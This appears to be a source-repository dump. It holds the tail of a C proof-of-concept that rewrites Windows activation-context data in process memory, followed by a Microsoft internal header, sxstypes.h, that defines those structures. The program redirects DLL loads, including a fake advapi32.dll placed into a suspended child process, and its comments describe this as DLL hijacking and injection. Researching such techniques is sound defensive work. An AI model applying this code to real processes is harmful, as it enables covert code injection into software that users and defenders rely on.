246 | memcpy((PVOID)pNewActivationContext, (PVOID)pActivationContextData, mbi.RegionSize);
247 |
248 | UnmapViewOfFile((PVOID)pActivationContextData);
249 | pActivationContextData = (ULONG_PTR)VirtualAlloc((PVOID)pActivationContextData, mbi.RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
250 | memcpy((PVOID)pActivationContextData, (PVOID)pNewActivationContext, mbi.RegionSize);
251 | VirtualFree((PVOID)pNewActivationContext, 0, MEM_RELEASE);
252 | return (PVOID)pActivationContextData;
253 | }
254 |
255 | VOID UpdateActivationContext(__in HANDLE hProcess, __in BOOL b_use_system_default, __in PVOID lpBuffer, __in DWORD dwSize){
256 | PROCESS_BASIC_INFORMATION pbi;
257 | ULONG cbNeeded;
258 | ULONG_PTR pActivationContextData;
259 | ULONG_PTR peb;
260 |
261 | NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &cbNeeded);
262 | peb = (ULONG_PTR)pbi.PebBaseAddress;
263 | #ifdef _WIN64
264 | if (!b_use_system_default)
265 | ReadProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pActivationContextData, sizeof(pActivationContextData), 0);
266 | else
267 | ReadProcessMemory(hProcess, (PVOID)(peb+0x308), &pActivationContextData, sizeof(pActivationContextData), 0);
268 |
269 | #else
270 | if (!b_use_system_default)
271 | ReadProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pActivationContextData, sizeof(pActivationContextData), 0);
272 | else
273 | ReadProcessMemory(hProcess, (PVOID)(peb+0x200), &pActivationContextData, sizeof(pActivationContextData), 0);
274 | #endif
275 |
276 | WriteProcessMemory(hProcess, (PVOID)pActivationContextData, lpBuffer, dwSize, 0);
277 |
278 | }
279 |
280 | int __cdecl wmain(int argc, wchar_t **argv){
281 | PACTIVATION_CONTEXT_DATA pActivationContextData;
282 | DWORD dwLength;
283 | ULONG dwAssemblyRoosterIndex;
284 | WCHAR wsFullPathName[MAX_PATH];
285 | WCHAR wsNewAssemblyPath[MAX_PATH];
286 | WCHAR *current;
287 | size_t len;
288 | DWORD dwOldSize, dwNewSize;
289 | STARTUPINFO sinfo;
290 | PROCESS_INFORMATION pinfo;
291 |
292 | WCHAR wsAdvapiFullPath[MAX_PATH];
293 | WCHAR wsAdvapiExpanded[MAX_PATH];
294 | WCHAR wsFakeAdvapi[MAX_PATH];
295 | BOOL b_debug_ldr = FALSE;
296 |
297 | if (argc == 2 && !_wcsicmp(argv[1], L"--debug"))
298 | b_debug_ldr = TRUE;
299 |
300 | memset(wsAdvapiFullPath, 0, sizeof(wsAdvapiFullPath));
301 | memset(wsAdvapiExpanded, 0, sizeof(wsAdvapiExpanded));
302 |
303 | LoadLibrary(L"advapi32.dll");
304 |
305 | GetModuleFileName(GetModuleHandle(L"advapi32.dll"), wsAdvapiFullPath, MAX_PATH);
306 | ExpandEnvironmentStrings(L"%systemroot%\\system32\\advapi32.dll", wsAdvapiExpanded, MAX_PATH);
307 | if (_wcsicmp(wsAdvapiFullPath, wsAdvapiExpanded)){
308 | MessageBox(0, L"weeheeee advapi32.dll redirected...", L"oki...", 0);
309 | ExitProcess(0);
310 | }
311 |
312 | pActivationContextData = RemapActivationContext(TRUE);
313 |
314 | g_pActivationContextData = pActivationContextData;
315 |
316 | dwAssemblyRoosterIndex = ReplaceDLLRedirectionGetRoster(L"sxsoaps.dll");
317 | //wprintf(L"%s\n", GetAssemblyManifestPath(dwAssemblyRoosterIndex, &dwLength));
318 | //wprintf(L"%s\n", GetAssemblyDirectoryPath(dwAssemblyRoosterIndex, &dwLength));
319 |
320 | memset(wsFullPathName, 0, sizeof(wsFullPathName));
321 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH);
322 | current = wcsrchr(wsFullPathName, '\\');
323 | *current = 0;
324 | current = wcschr(wsFullPathName, '\\');
325 | current++;
326 |
327 |
328 | memset(wsNewAssemblyPath, 0, sizeof(wsNewAssemblyPath));
329 | wcscpy(wsNewAssemblyPath, L"..\\..\\");
330 | wcscat(wsNewAssemblyPath, current);
331 |
332 | len = wcslen(wsNewAssemblyPath) * sizeof(WCHAR);
333 | memcpy(GetAssemblyDirectoryPath(dwAssemblyRoosterIndex, &dwLength), wsNewAssemblyPath, len);
334 | SetAssemblyDirectoryPathLength(dwAssemblyRoosterIndex, (DWORD)len);
335 | //Due to DLL redirection this file should be loaded from C:\windows\winsxs\\sxsoaps.dll
336 | //but as we faked Assembly Folder with ..\..\path_to_our_folder calling LoadLibrary or LdrpLoadDll
337 | //will force loading of this DLL from our hijacked path.
338 | LoadLibrary(L"sxsoaps.dll");
339 |
340 | pActivationContextData = RemapActivationContextIncrease(GetCurrentProcess(), FALSE, 0x5000, &dwOldSize, &dwNewSize);
341 | g_pActivationContextData = pActivationContextData;
342 |
343 |
344 | memset(wsFullPathName, 0, sizeof(wsFullPathName));
345 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH);
346 | current = wcsrchr(wsFullPathName, '\\');
347 | *current = 0;
348 | wcscat(wsFullPathName, L"\\redirecteddll.dll");
349 |
350 | //Loading meh.dll will cause redirecteddll.dll to be loaded
351 | //example of DLL hijacking, hooking, or whatever you wanna call it.
352 | //Note that this can be used with Suspended Process to cause injection into it...
353 | AddDllRedirection(L"meh.dll", wsFullPathName, dwOldSize, dwNewSize);
354 |
355 | UpdateActivationContext(GetCurrentProcess(), FALSE, g_pActivationContextData, dwNewSize);
356 | HeapFree(GetProcessHeap(), 0, (PVOID)pActivationContextData);
357 |
358 | LoadLibrary(L"meh.dll");
359 |
360 | //hook advapi32.dll example... Well not really hooking, but if dll is fake advapi32.dll with
361 | //faked exports, your dll will be injected. Of course, make sure to redirect to real advapi32.dll
362 | //all exported calls :)
363 |
364 | memset(&sinfo, 0, sizeof(sinfo));
365 | memset(&pinfo, 0, sizeof(pinfo));
366 |
367 | memset(wsFullPathName, 0, sizeof(wsFullPathName));
368 | GetModuleFileName(GetModuleHandle(0), wsFullPathName, MAX_PATH);
369 |
370 |
371 | if (!CreateProcess(0,
372 | wsFullPathName,
373 | 0,
374 | 0,
375 | 0,
376 | CREATE_SUSPENDED,
377 | 0,
378 | 0,
379 | &sinfo,
380 | &pinfo)){
381 | printf("[X] bummer, failed to create child process...\n");
382 | return 1;
383 | }
384 |
385 | pActivationContextData = RemapActivationContextIncrease(pinfo.hProcess, FALSE, 0x5000, &dwOldSize, &dwNewSize);
386 | g_pActivationContextData = pActivationContextData;
387 |
388 | memset(wsFakeAdvapi, 0, sizeof(wsFakeAdvapi));
389 | GetModuleFileName(GetModuleHandle(0), wsFakeAdvapi, MAX_PATH);
390 | current = wcsrchr(wsFakeAdvapi, '\\');
391 | *current = 0;
392 | wcscat(wsFakeAdvapi, L"\\advapi32.dll");
393 |
394 | AddDllRedirection(L"advapi32.dll", wsFakeAdvapi, dwOldSize, dwNewSize);
395 |
396 | UpdateActivationContext(pinfo.hProcess, FALSE, g_pActivationContextData, dwNewSize);
397 | HeapFree(GetProcessHeap(), 0, (PVOID)pActivationContextData);
398 |
399 | if (b_debug_ldr)
400 | InjectLdrBreak(pinfo.hProcess, pinfo.hThread);
401 |
402 | CopyFile(wsAdvapiExpanded, wsFakeAdvapi, FALSE);
403 |
404 | ResumeThread(pinfo.hThread);
405 |
406 | WaitForSingleObject(pinfo.hProcess, INFINITE);
407 | DeleteFile(wsFakeAdvapi);
408 | }
409 |
--------------------------------------------------------------------------------
/sxstypes.h:
--------------------------------------------------------------------------------
1 |
2 | /*++ BUILD Version: 0005 // Increment this if a change has global effects
3 |
4 | Copyright (c) Microsoft Corporation. All rights reserved.
5 |
6 | Module Name:
7 |
8 | sxstypes.h
9 |
10 | Abstract:
11 |
12 | Include file with definitions for data structures used for side-by-side
13 | binding.
14 |
15 | Author:
16 |
17 | Michael Grier (MGrier) 28-Mar-2000
18 |
19 | Environment:
20 |
21 |
22 | Revision History:
23 |
24 | --*/
25 |
26 | #ifndef _SXSTYPES_
27 | #define _SXSTYPES_
28 |
29 | #if (_MSC_VER > 1020)
30 | #pragma once
31 | #endif
32 |
33 | #if defined(__cplusplus)
34 | extern "C" {
35 | #endif
36 |
37 | typedef struct _ACTIVATION_CONTEXT_DATA ACTIVATION_CONTEXT_DATA;
38 | typedef const ACTIVATION_CONTEXT_DATA *PCACTIVATION_CONTEXT_DATA;
39 |
40 | //
41 | // These data structures have to line up in a number of different run-time
42 | // environments, so we explicitly set the alignment.
43 | //
44 | #include "pshpack4.h"
45 | //
46 | // These data structures may be generated by 64bit code and consumed
47 | // in 32bit code, as in the case of 32bit processes on Win64.
48 | // Therefore they have no pointers and no SIZE_Ts.
49 | //
50 | // Besides that, they are created in a different process than they
51 | // are consumed. They are position independent.
52 | //
53 |
54 | //
55 | // ASSEMBLY_VERSION represents a traditional four-part version
56 | // as in Major.Minor.Revision.Build.
57 | //
58 | // They are laid out so that you can perform a simple ULONGLONG-
59 | // based comparison on them.
60 | //
61 | // They are interpreted as:
62 | //
63 | // Major.Minor.Build.Revision
64 | //
65 | // So for example you might have "5.1.2505.2" (where 5.1 is the major
66 | // minor, 2505 represents the daily build number and 2 is the number
67 | // of updates to the build since its initial build).
68 | //
69 | // Overloaded comparison operators are provided for C++ clients.
70 | //
71 |
72 | #pragma warning(push)
73 | #pragma warning(disable : 4201) // nameless struct/union
74 | #include "pshpack1.h"
75 |
76 | typedef union _ASSEMBLY_VERSION {
77 | struct {
78 | USHORT Build;
79 | USHORT Revision;
80 | USHORT Minor;
81 | USHORT Major;
82 | } DUMMYSTRUCTNAME;
83 | ULONGLONG QuadPart;
84 | } ASSEMBLY_VERSION, *PASSEMBLY_VERSION;
85 |
86 | #include "poppack.h"
87 | #pragma warning(pop)
88 |
89 | typedef const ASSEMBLY_VERSION *PCASSEMBLY_VERSION;
90 |
91 | #if defined(__cplusplus)
92 | extern "C++" {
93 | inline bool operator ==(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart == av2.QuadPart; }
94 | inline bool operator !=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart != av2.QuadPart; }
95 | inline bool operator <(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart < av2.QuadPart; }
96 | inline bool operator >(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart > av2.QuadPart; }
97 | inline bool operator <=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart <= av2.QuadPart; }
98 | inline bool operator >=(const ASSEMBLY_VERSION &av1, const ASSEMBLY_VERSION &av2) { return av1.QuadPart >= av2.QuadPart; }
99 | } /* extern "C++" */
100 | #endif /* __cplusplus */
101 |
102 | //
103 | // Standard Activation Context section IDs:
104 | //
105 |
106 | // begin_winnt
107 | #define ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION (1)
108 | #define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION (2)
109 | #define ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION (3)
110 | #define ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION (4)
111 | #define ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION (5)
112 | #define ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION (6)
113 | #define ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION (7)
114 | #define ACTIVATION_CONTEXT_SECTION_GLOBAL_OBJECT_RENAME_TABLE (8)
115 | #define ACTIVATION_CONTEXT_SECTION_CLR_SURROGATES (9)
116 | #define ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS (10)
117 | #define ACTIVATION_CONTEXT_SECTION_COMPATIBILITY_INFO (11)
118 | // end_winnt
119 |
120 | //
121 | // Activation Context section format identifiers:
122 | //
123 |
124 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_UNKNOWN (0)
125 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE (1)
126 | #define ACTIVATION_CONTEXT_SECTION_FORMAT_GUID_TABLE (2)
127 |
128 | typedef struct _ACTIVATION_CONTEXT_DATA {
129 | ULONG Magic;
130 | ULONG HeaderSize;
131 | ULONG FormatVersion;
132 | ULONG TotalSize;
133 | ULONG DefaultTocOffset;
134 | ULONG ExtendedTocOffset;
135 | ULONG AssemblyRosterOffset;
136 | ULONG Flags;
137 | } ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA;
138 | typedef const ACTIVATION_CONTEXT_DATA *PCACTIVATION_CONTEXT_DATA;
139 |
140 | #define ACTIVATION_CONTEXT_DATA_MAGIC ((ULONG) 'xtcA')
141 | #define ACTIVATION_CONTEXT_DATA_FORMAT_WHISTLER (1)
142 |
143 | // Internally this is associated with the data, but externally
144 | // the data is usually opaque and it is associated with the activation context.
145 | #define ACTIVATION_CONTEXT_FLAG_NO_INHERIT (0x00000001)
146 |
147 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER {
148 | ULONG HeaderSize;
149 | ULONG EntryCount;
150 | ULONG FirstEntryOffset;
151 | ULONG Flags;
152 | } ACTIVATION_CONTEXT_DATA_TOC_HEADER, *PACTIVATION_CONTEXT_DATA_TOC_HEADER;
153 | typedef const struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER *PCACTIVATION_CONTEXT_DATA_TOC_HEADER;
154 |
155 | #define ACTIVATION_CONTEXT_DATA_TOC_HEADER_DENSE (0x00000001)
156 | #define ACTIVATION_CONTEXT_DATA_TOC_HEADER_INORDER (0x00000002)
157 |
158 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY {
159 | ULONG Id;
160 | ULONG Offset; // from ACTIVATION_CONTEXT_DATA base
161 | ULONG Length; // in bytes
162 | ULONG Format; // ACTIVATION_CONTEXT_SECTION_FORMAT_*
163 | } ACTIVATION_CONTEXT_DATA_TOC_ENTRY, *PACTIVATION_CONTEXT_DATA_TOC_ENTRY;
164 | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY *PCACTIVATION_CONTEXT_DATA_TOC_ENTRY;
165 |
166 | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER {
167 | ULONG HeaderSize;
168 | ULONG EntryCount;
169 | ULONG FirstEntryOffset; // from ACTIVATION_CONTEXT_DATA base
170 | ULONG Flags;
171 | } ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER, *PACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER;
172 | typedef const struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER *PCACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER;
173 |
174 | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY {
175 | GUID ExtensionGuid;
176 | ULONG TocOffset; // from ACTIVATION_CONTEXT_DATA base
177 | ULONG Length;
178 | } ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY, *PACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY;
179 | typedef const struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY *PCACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY;
180 |
181 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER {
182 | ULONG HeaderSize;
183 | ULONG HashAlgorithm;
184 | ULONG EntryCount; // Entry 0 is reserved; this is the number of assemblies plus 1.
185 | ULONG FirstEntryOffset; // From ACTIVATION_CONTEXT_DATA base
186 | ULONG AssemblyInformationSectionOffset; // Offset from the ACTIVATION_CONTEXT_DATA base to the
187 | // header of the assembly information string section. Needed because
188 | // the roster entries contain the offsets from the ACTIVATION_CONTEXT_DATA
189 | // to the assembly information structs, but those structs contain offsets
190 | // from their section base to the strings etc.
191 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER;
192 | typedef const struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER;
193 |
194 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY_INVALID (0x00000001)
195 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY_ROOT (0x00000002)
196 |
197 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY {
198 | ULONG Flags;
199 | ULONG PseudoKey; // case-insentively-hashed assembly name
200 | ULONG AssemblyNameOffset; // from ACTIVATION_CONTEXT_DATA base
201 | ULONG AssemblyNameLength; // length in bytes
202 | ULONG AssemblyInformationOffset; // from ACTIVATION_CONTEXT_DATA base to ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION
203 | ULONG AssemblyInformationLength; // length in bytes
204 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY;
205 | typedef const struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY;
206 |
207 | //
208 | // ActivationContext string sections are organized as follows:
209 | //
210 | // Header
211 | // Hash structure (optional)
212 | // List of subelements
213 | // Variable length data
214 | //
215 | //
216 | // If you don't recognize the FormatVersion, you should still
217 | // be able to navigate to the list of subelements; once there
218 | // you can still do a very fast linear search avoiding many
219 | // string comparisons if the hash algorithms align.
220 | //
221 | // If you can't even use the hash algorithm, you can still do
222 | // string comparisons.
223 | //
224 |
225 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER {
226 | ULONG Magic;
227 | ULONG HeaderSize; // in bytes
228 | ULONG FormatVersion;
229 | ULONG DataFormatVersion;
230 | ULONG Flags;
231 | ULONG ElementCount;
232 | ULONG ElementListOffset; // offset from section header
233 | ULONG HashAlgorithm;
234 | ULONG SearchStructureOffset; // offset from section header
235 | ULONG UserDataOffset; // offset from section header
236 | ULONG UserDataSize; // in bytes
237 | } ACTIVATION_CONTEXT_STRING_SECTION_HEADER, *PACTIVATION_CONTEXT_STRING_SECTION_HEADER;
238 |
239 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HEADER *PCACTIVATION_CONTEXT_STRING_SECTION_HEADER;
240 |
241 | #define ACTIVATION_CONTEXT_STRING_SECTION_MAGIC ((ULONG) 'dHsS')
242 |
243 | #define ACTIVATION_CONTEXT_STRING_SECTION_FORMAT_WHISTLER (1)
244 |
245 | #define ACTIVATION_CONTEXT_STRING_SECTION_CASE_INSENSITIVE (0x00000001)
246 | #define ACTIVATION_CONTEXT_STRING_SECTION_ENTRIES_IN_PSEUDOKEY_ORDER (0x00000002)
247 |
248 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE {
249 | ULONG BucketTableEntryCount;
250 | ULONG BucketTableOffset; // offset from section header
251 | } ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE, *PACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE;
252 |
253 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE *PCACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE;
254 |
255 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET {
256 | ULONG ChainCount;
257 | ULONG ChainOffset; // offset from section header
258 | } ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET, *PACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET;
259 |
260 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET *PCACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET;
261 |
262 | // The hash table bucket chain is then a list of offsets from the section header to
263 | // the section entries for the chain.
264 |
265 | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY {
266 | ULONG PseudoKey;
267 | ULONG KeyOffset; // offset from the section header
268 | ULONG KeyLength; // in bytes
269 | ULONG Offset; // offset from the section header
270 | ULONG Length; // in bytes
271 | ULONG AssemblyRosterIndex; // 1-based index into the assembly roster for the assembly that
272 | // provided this entry. If the entry is not associated with
273 | // an assembly, zero.
274 | } ACTIVATION_CONTEXT_STRING_SECTION_ENTRY, *PACTIVATION_CONTEXT_STRING_SECTION_ENTRY;
275 |
276 | typedef const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY *PCACTIVATION_CONTEXT_STRING_SECTION_ENTRY;
277 |
278 | //
279 | // ActivationContext GUID sections are organized as follows:
280 | //
281 | // Header
282 | // Hash structure (optional)
283 | // List of subelements
284 | // Variable length data
285 | //
286 | // If you don't recognize the FormatVersion, you should still
287 | // be able to navigate to the list of subelements; once there
288 | // you can still do a very fast linear search avoiding many
289 | // GUID comparisons.
290 | //
291 |
292 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HEADER {
293 | ULONG Magic;
294 | ULONG HeaderSize;
295 | ULONG FormatVersion;
296 | ULONG DataFormatVersion;
297 | ULONG Flags;
298 | ULONG ElementCount;
299 | ULONG ElementListOffset; // offset from section header
300 | ULONG SearchStructureOffset; // offset from section header
301 | ULONG UserDataOffset; // offset from section header
302 | ULONG UserDataSize; // in bytes
303 | } ACTIVATION_CONTEXT_GUID_SECTION_HEADER, *PACTIVATION_CONTEXT_GUID_SECTION_HEADER;
304 |
305 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HEADER *PCACTIVATION_CONTEXT_GUID_SECTION_HEADER;
306 |
307 | #define ACTIVATION_CONTEXT_GUID_SECTION_MAGIC ((ULONG) 'dHsG')
308 |
309 | #define ACTIVATION_CONTEXT_GUID_SECTION_FORMAT_WHISTLER (1)
310 |
311 | #define ACTIVATION_CONTEXT_GUID_SECTION_ENTRIES_IN_ORDER (0x00000001)
312 |
313 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE {
314 | ULONG BucketTableEntryCount;
315 | ULONG BucketTableOffset; // offset from section header
316 | } ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE, *PACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE;
317 |
318 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE *PCACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE;
319 |
320 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET {
321 | ULONG ChainCount;
322 | ULONG ChainOffset; // offset from section header
323 | } ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET, *PACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET;
324 |
325 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET *PCACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET;
326 |
327 | // The hash table bucket chain is then a list of offsets from the section header to
328 | // the section entries for the chain.
329 |
330 | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_ENTRY {
331 | GUID Guid;
332 | ULONG Offset; // offset from the section header
333 | ULONG Length; // in bytes
334 | ULONG AssemblyRosterIndex; // 1-based index into the assembly roster for the assembly that
335 | // provided this entry. If the entry is not associated with
336 | // an assembly, zero.
337 | } ACTIVATION_CONTEXT_GUID_SECTION_ENTRY, *PACTIVATION_CONTEXT_GUID_SECTION_ENTRY;
338 |
339 | typedef const ACTIVATION_CONTEXT_GUID_SECTION_ENTRY *PCACTIVATION_CONTEXT_GUID_SECTION_ENTRY;
340 |
341 | //
342 | // Data structures for the assembly information section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION)
343 | //
344 |
345 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION {
346 | ULONG Size;
347 | ULONG Flags;
348 | GUID PolicyCoherencyGuid;
349 | GUID PolicyOverrideGuid;
350 | ULONG ApplicationDirectoryPathType;
351 | ULONG ApplicationDirectoryLength;
352 | ULONG ApplicationDirectoryOffset; // Offset from base of ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION
353 | ULONG ResourceName; // Resource name for root manifest, used for actctx regeneration
354 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION;
355 | typedef const ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION;
356 |
357 | //
358 | // Leaf node structure for the assembly information section
359 | //
360 |
361 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_FORMAT_WHISTLER (1)
362 |
363 | //
364 | // Bitflags for the Flags member of an assembly information section element.
365 | //
366 |
367 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ROOT_ASSEMBLY (0x00000001)
368 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_POLICY_APPLIED (0x00000002)
369 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ASSEMBLY_POLICY_APPLIED (0x00000004)
370 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_ROOT_POLICY_APPLIED (0x00000008)
371 | #define ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION_PRIVATE_ASSEMBLY (0x00000010)
372 |
373 | // ACTIVATION_CONTEXT_PATH_TYPE_NONE is used when
374 | // a manifest has no stored location or identity, such as when a manifest is found
375 | // in the app compat database. The client is free to specify a manifest path
376 | // string which should assist in diagnosing where the manifest came from, but
377 | // cannot be assumed to have any particular format or syntax.
378 |
379 | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION {
380 | ULONG Size; // size of this structure, in bytes
381 | ULONG Flags;
382 | ULONG EncodedAssemblyIdentityLength; // in bytes
383 | ULONG EncodedAssemblyIdentityOffset; // offset from section header base
384 |
385 | ULONG ManifestPathType;
386 | ULONG ManifestPathLength; // in bytes
387 | ULONG ManifestPathOffset; // offset from section header base
388 | LARGE_INTEGER ManifestLastWriteTime;
389 | ULONG PolicyPathType;
390 | ULONG PolicyPathLength; // in bytes
391 | ULONG PolicyPathOffset; // offset from section header base
392 | LARGE_INTEGER PolicyLastWriteTime;
393 | ULONG MetadataSatelliteRosterIndex;
394 | ULONG Unused2;
395 | ULONG ManifestVersionMajor;
396 | ULONG ManifestVersionMinor;
397 | ULONG PolicyVersionMajor;
398 | ULONG PolicyVersionMinor;
399 | ULONG AssemblyDirectoryNameLength; // in bytes
400 | ULONG AssemblyDirectoryNameOffset; // from section header base
401 | ULONG NumOfFilesInAssembly;
402 | // 2600 stopped here
403 | ULONG LanguageLength; // in bytes
404 | ULONG LanguageOffset; // from section header base
405 |
406 | ACTCTX_REQUESTED_RUN_LEVEL RunLevel;
407 | ULONG UiAccess;
408 | } ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION, *PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION;
409 |
410 | typedef const ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION *PCACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION;
411 |
412 | //
413 | // Leaf node structure for the dll redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION)
414 | //
415 |
416 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_FORMAT_WHISTLER (1)
417 |
418 | //
419 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION Flags:
420 | //
421 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME
422 | //
423 | // Provides for a redirection that remaps not just the path but the actual
424 | // base name of the file to access.
425 | //
426 | // Not used in any current Whistler scenarios.
427 | //
428 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT
429 | //
430 | // Provides for a redirection where the actual storage path of the file
431 | // must be determined at runtime by via the assembly roster. This allows
432 | // for a cached activation context to remain valid across when an assembly
433 | // is relocated across storage volumes.
434 | //
435 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND
436 | //
437 | // The path must be constructed by appending all the segments and then
438 | // the resultant string must be passed through either the
439 | // RtlExpandEnvironmentStrings() or the Win32 ExpandEnvironmentStrings() APIs.
440 | //
441 | // Used generally only for app compat where a manifest for the executable
442 | // may call out a file which the application may erroneously carry with it
443 | // (possibly on read-only media) to be redirected to, for example,
444 | // "%windir%\system32\"
445 | //
446 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL
447 | //
448 | // Provides for dll which exist under system32 as well as system default
449 | // for example, comctl32.dll. There are two entries for this dll in string section
450 | // (1) LoadLibrary("comctl32.dll"), redirected to 5.82 comctl32 under winsxs
451 | // (2) LoadLibrary("c:\windows\system32\comctl32.dll"), is also redirected to 5.82
452 | // comctl32 under winsxs
453 | //
454 | // Note!
455 | //
456 | // You may not have a single entry with both the
457 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT and
458 | // ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND flags set.
459 | //
460 |
461 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME (0x00000001)
